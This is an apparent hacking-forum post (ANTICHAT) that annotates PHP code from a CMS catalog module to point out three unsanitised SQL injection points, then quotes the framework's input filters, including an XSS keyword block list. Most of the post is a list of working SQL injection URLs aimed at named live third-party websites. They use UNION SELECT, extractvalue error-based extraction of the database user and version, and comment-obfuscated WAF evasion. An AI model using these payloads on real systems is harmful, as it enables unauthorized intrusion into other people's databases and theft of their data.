ANTICHAT — форум по информационной безопасности, OSINT и технологиям

Code:
Input->get('keywords') ) {
  /* Входные данные не фильтруются должным образом--->*/          $title = $this->Input->get('keywords');
        } else if ( $this->Input->post('keywords') ) {
   /* Въодные данные не фильтруются должным образом(пост)--->*/          $title = $this->Input->post('keywords');
        }
        
        $total = 0;
  /* first inject ---->>*/      $db = $this->Database->execute(" SELECT id,pid,title,short_comment FROM tl_msm_catalog_item WHERE title LIKE '%". $title ."%' OR short_comment LIKE '%". $title ."%' ");
        $total += $db->numRows;
        
        $array = array();
        while ( $db->next() ) {
            
            $view = str_replace("", "", $db->short_comment);
            $view = str_replace("", "", $view);
            $array[] = array(
                'title' =>  $db->title,
                'href'	=>  $this->generateFrontendUrl('','thermal-aid/ccategory/'.$db->pid.'/product/'.$db->id.'/'.$this->setTranslite($db->title)),
                'short' =>  $view,
            );
        }
        
   /* second inject ---->>*/     $db32 = $this->Database->execute(" SELECT id,pid,title FROM tl_msm_catalog WHERE title LIKE '%". $title ."%' ");
        $total += $db32->numRows;
        
        while ( $db32->next() ) {
            
            $array[] = array(
                'title' =>  $db32->title,
                'href'	=>  $this->generateFrontendUrl('','thermal-aid/category/'.$db32->pid.'/scategory/'.$db32->id)
            );
        }
        
  /* another one ----->>*/      $db1 = $this->Database->execute(" SELECT id,pid,title,short_about FROM tl_msm_mclass_file WHERE title LIKE '%". $title ."%' OR short_about LIKE '%". $title ."%' ");
        $total += $db1->numRows;

Code:
/* system/libraries/Input.php */

public function get($strKey, $blnDecodeEntities=false)
	{
		$strCacheKey = $blnDecodeEntities ? 'getDecoded' : 'getEncoded';

		if (!isset($this->arrCache[$strCacheKey][$strKey]))
		{
			$varValue = $_GET[$strKey];

			if (is_null($varValue))
			{
				return $varValue;
			}

			$varValue = $this->stripSlashes($varValue);
			$varValue = $this->decodeEntities($varValue);
			$varValue = $this->xssClean($varValue, true);
			$varValue = $this->stripTags($varValue);

			if (!$blnDecodeEntities)
			{
				$varValue = $this->encodeSpecialChars($varValue);
			}

			$this->arrCache[$strCacheKey][$strKey] = $varValue;
		}

		return $this->arrCache[$strCacheKey][$strKey];
	}

	/**
	 * Return a $_POST parameter
	 * @param string
	 * @param boolean
	 * @return mixed
	 */
	public function post($strKey, $blnDecodeEntities=false)
	{
		$strCacheKey = $blnDecodeEntities ? 'postDecoded' : 'postEncoded';

		if (!isset($this->arrCache[$strCacheKey][$strKey]))
		{
			$varValue = $this->findPost($strKey);

			if (is_null($varValue))
			{
				return $varValue;
			}

			$varValue = $this->stripSlashes($varValue);
			$varValue = $this->decodeEntities($varValue);
			$varValue = $this->xssClean($varValue, true);
			$varValue = $this->stripTags($varValue);

			if (!$blnDecodeEntities)
			{
				$varValue = $this->encodeSpecialChars($varValue);
			}

			$this->arrCache[$strCacheKey][$strKey] = $varValue;
		}

		return $this->arrCache[$strCacheKey][$strKey];
	}

protected function stripSlashes($varValue)
	{
		if (is_null($varValue) || $varValue == '')
		{
			return $varValue;
		}

		// Recursively clean arrays
		if (is_array($varValue))
		{
			foreach ($varValue as $k=>$v)
			{
				$varValue[$k] = $this->stripSlashes($v);
			}

			return $varValue;
		}

		if (function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc())
		{
			$varValue = stripslashes($varValue);
		}

		return $varValue;
	}

protected function decodeEntities($varValue)
	{
		if (is_null($varValue) || $varValue == '')
		{
			return $varValue;
		}

		// Recursively clean arrays
		if (is_array($varValue))
		{
			foreach ($varValue as $k=>$v)
			{
				$varValue[$k] = $this->decodeEntities($v);
			}

			return $varValue;
		}

		// Preserve basic entities
		$varValue = $this->preserveBasicEntities($varValue);
		$varValue = html_entity_decode($varValue, ENT_COMPAT, $GLOBALS['TL_CONFIG']['characterSet']);

		return $varValue;
	}

protected function stripTags($varValue, $strAllowedTags='')
	{
		if (is_null($varValue) || $varValue == '')
		{
			return $varValue;
		}

		// Recursively clean arrays
		if (is_array($varValue))
		{
			foreach ($varValue as $k=>$v)
			{
				$varValue[$k] = $this->stripTags($v, $strAllowedTags);
			}

			return $varValue;
		}

		$varValue = str_replace(array(''), array('<!--', '<![', '-->'), $varValue);
		$varValue = strip_tags($varValue, $strAllowedTags);
		$varValue = str_replace(array('<!--', '<![', '-->'), array(''), $varValue);

		return $varValue;
	}

protected function xssClean($varValue, $blnStrictMode=false)
	{
		if (is_null($varValue) || $varValue == '')
		{
			return $varValue;
		}

		// Recursively clean arrays
		if (is_array($varValue))
		{
			foreach ($varValue as $k=>$v)
			{
				$varValue[$k] = $this->xssClean($v);
			}

			return $varValue;
		}

		// Return if var is not a string
		if (is_bool($varValue) || is_null($varValue) || is_numeric($varValue))
		{
			return $varValue;
		}

		// Validate standard character entites and UTF16 two byte encoding
		$varValue = preg_replace('/(&#*\w+)[\x00-\x20]+;/i', '$1;', $varValue);
		$varValue = preg_replace('/(&#x*)([0-9a-f]+);/i', '$1$2;', $varValue);

		// Remove carriage returns
      	$varValue = preg_replace('/\r+/', '', $varValue);

      	// Replace unicode entities
		$varValue = utf8_decode_entities($varValue);

		// Remove NULL characters
		$varValue = preg_replace('/\0+/', '', $varValue);
		$varValue = preg_replace('/(\\\\0)+/', '', $varValue);

		$arrKeywords = array
		(
			'/\bj\s*a\s*v\s*a\s*s\s*c\s*r\s*i\s*p\s*t\b/is', // javascript
			'/\bv\s*b\s*s\s*c\s*r\s*i\s*p\s*t\b/is', // vbscript
			'/\bv\s*b\s*s\s*c\s*r\s*p\s*t\b/is', // vbscrpt
			'/\bs\s*c\s*r\s*i\s*p\s*t\b/is', //script
			'/\ba\s*p\s*p\s*l\s*e\s*t\b/is', // applet
			'/\ba\s*l\s*e\s*r\s*t\b/is', // alert
			'/\bd\s*o\s*c\s*u\s*m\s*e\s*n\s*t\b/is', // document
			'/\bw\s*r\s*i\s*t\s*e\b/is', // write
			'/\bc\s*o\s*o\s*k\s*i\s*e\b/is', // cookie
			'/\bw\s*i\s*n\s*d\s*o\s*w\b/is' // window
		);

		// Compact exploded keywords like "j a v a s c r i p t"
		foreach ($arrKeywords as $strKeyword)
		{
			$arrMatches = array();
			preg_match_all($strKeyword, $varValue, $arrMatches);

			foreach ($arrMatches[0] as $strMatch)
			{
				$varValue = str_replace($strMatch, preg_replace('/\s*/', '', $strMatch), $varValue);
			}
		}

		$arrRegexp[] = '/]*[^a-z](]*>/is';
		$arrRegexp[] = '/]*[^a-z]document\.cookie[^>]*>/is';
		$arrRegexp[] = '/]*[^a-z]vbscri?pt\s*:[^>]*>/is';
		$arrRegexp[] = '/]*[^a-z]expression\s*\([^>]*>/is';

		// Also remove event handlers and JavaScript in strict mode
		if ($blnStrictMode)
		{
			$arrRegexp[] = '/vbscri?pt\s*:/is';
			$arrRegexp[] = '/javascript\s*:/is';
			$arrRegexp[] = '/]*[^a-z]alert\s*\([^>]*>/is';
			$arrRegexp[] = '/]*[^a-z]javascript\s*:[^>]*>/is';
			$arrRegexp[] = '/]*[^a-z]window\.[^>]*>/is';
			$arrRegexp[] = '/]*[^a-z]document\.[^>]*>/is';
			$arrRegexp[] = '/]*[^a-z]onabort\s*=[^>]*>/is';
			$arrRegexp[] = '/]*[^a-z]onblur\s*=[^>]*>/is';
			$arrRegexp[] = '/]*[^a-z]onchange\s*=[^>]*>/is';
			$arrRegexp[] = '/]*[^a-z]onclick\s*=[^>]*>/is';
			$arrRegexp[] = '/]*[^a-z]onerror\s*=[^>]*>/is';
			$arrRegexp[] = '/]*[^a-z]onfocus\s*=[^>]*>/is';
			$arrRegexp[] = '/]*[^a-z]onkeypress\s*=[^>]*>/is';
			$arrRegexp[] = '/]*[^a-z]onkeydown\s*=[^>]*>/is';
			$arrRegexp[] = '/]*[^a-z]onkeyup\s*=[^>]*>/is';
			$arrRegexp[] = '/]*[^a-z]onload\s*=[^>]*>/is';
			$arrRegexp[] = '/]*[^a-z]onmouseover\s*=[^>]*>/is';
			$arrRegexp[] = '/]*[^a-z]onmouseup\s*=[^>]*>/is';
			$arrRegexp[] = '/]*[^a-z]onmousedown\s*=[^>]*>/is';
			$arrRegexp[] = '/]*[^a-z]onmouseout\s*=[^>]*>/is';
			$arrRegexp[] = '/]*[^a-z]onreset\s*=[^>]*>/is';
			$arrRegexp[] = '/]*[^a-z]onselect\s*=[^>]*>/is';
			$arrRegexp[] = '/]*[^a-z]onsubmit\s*=[^>]*>/is';
			$arrRegexp[] = '/]*[^a-z]onunload\s*=[^>]*>/is';
			$arrRegexp[] = '/]*[^a-z]onresize\s*=[^>]*>/is';
		}

		return preg_replace($arrRegexp, '', $varValue);
	}

protected function encodeSpecialChars($varValue)
	{
		if (is_null($varValue) || $varValue == '')
		{
			return $varValue;
		}

		// Recursively clean arrays
		if (is_array($varValue))
		{
			foreach ($varValue as $k=>$v)
			{
				$varValue[$k] = $this->encodeSpecialChars($v);
			}

			return $varValue;
		}

		$arrSearch = array('#', '', '(', ')', '\\', '=');
  /* replacing (, ), backslash, etc ------>> */		$arrReplace = array('#', '', '(', ')', '\', '=');

		return str_replace($arrSearch, $arrReplace, $varValue);
	}

Code:
public function execute()
	{
		$arrParams = func_get_args();

		if (is_array($arrParams[0]))
		{
			$arrParams = array_values($arrParams[0]);
		}

		$this->replaceWildcards($arrParams);
		$strKey = md5($this->strQuery);

		// Try to load the result from cache
		if (isset(self::$arrCache[$strKey]) && !self::$arrCache[$strKey]->isModified)
		{
			return self::$arrCache[$strKey]->reset();
		}

		$objResult = $this->query();

		// Cache the result objects
		if ($objResult instanceof Database_Result)
		{
			self::$arrCache[$strKey] = $objResult;
		}

		return $objResult;
	}

public function query($strQuery='')
	{
		if (!empty($strQuery))
		{
			$this->strQuery = $strQuery;
		}

		// Make sure there is a query string
		if ($this->strQuery == '')
		{
			throw new Exception('Empty query string');
		}

		// Execute the query
/* Наш эксепшн ----->> */		if (($this->resResult = $this->execute_query()) == false)
		{
			throw new Exception(sprintf('Query error: %s (%s)', $this->error, $this->strQuery));
		}

		// No result set available
		if (!is_resource($this->resResult) && !is_object($this->resResult))
		{
			$this->debugQuery();
			return $this;
		}

		// Instantiate a result object
		$strClass = DB_DRIVER . '_Result';
		$objResult = new $strClass($this->resResult, $this->strQuery);
		$this->debugQuery($objResult);

		return $objResult;
	}

Code:
http://www.anuch.com/moto.php?strana=21&roku=-2005+union+select+version%28%29+--+&&id=3103
http://www.hondaalpina.com.br/moto.php?id=-3+un%0Bion+sel%0Bect+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+--+
http://www.motovendo.cl/motovendo/datos-moto.php?view=-2319+order+by+1+--+
http://jpland.ru/mototehnika.php?category_id=09999999+union+select+1,2,3,4,5,6,7,8,9,10+--+
http://cluboe3.orf.at/index.php?pageID=201+And+1=0%27+order+by+1+--+
http://adorama.gr/e-shop/Products.php?lang=en&CatID=-10+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13+--+
http://www.ivrus.biz/showcat.php?id=-10%27%29%27+union+select+1,2,3+--+

Code:
http://www.anuch.com/view.php?id=40350000%27%20union%20all%20select%20999,user%28%29,999,999,version%28%29,6999,999+--+&&strana=27&&roku=2011.09
http://www.motovendo.cl/motovendo/datos-moto.php?view=3%27-%271%27,1,1,1,1%20and%20%28extractvalue%281,concat%280x3b,user%28%29%29%29%29%29+--+
http://adorama.gr/e-shop/Products.php?lang=en&CatID=-10 or(extractvalue(1,concat(0x3b,user()))) --
http://jpland.ru/mototehnika.php?id=160%27%20UNION%20SELECT%20user%28%29,2,3,4,version%28%29,6,7,8,9,10+--+
http://cluboe3.orf.at/index.php?pageID=201%27%20and%20extractvalue%281,concat%280x3b,user%28%29%29%29%20and%20%27
http://www.hondaalpina.com.br/moto.php?id=3911/**//*!uNiOn*//**//*!SELECT*/1/*!,*/2/*!,*/user%28%29/*!,*/4/*!,*/5/*!,*/6/*!,*/7/*!,*/8/*!,*/9/*!,*/10/*!,*/11/*!,*/12/*!,*/13/*!,*/14/*!,*/15/*!,*/16/*!,*/17/*!,*/18/*!,*/19/*!,*/20/*!,*/21/*!,*/22+--+
http://www.ivrus.biz/photoarchive.php?id=14%20UNION%20SELECT%201,2,3,user%28%29,version%28%29,6,7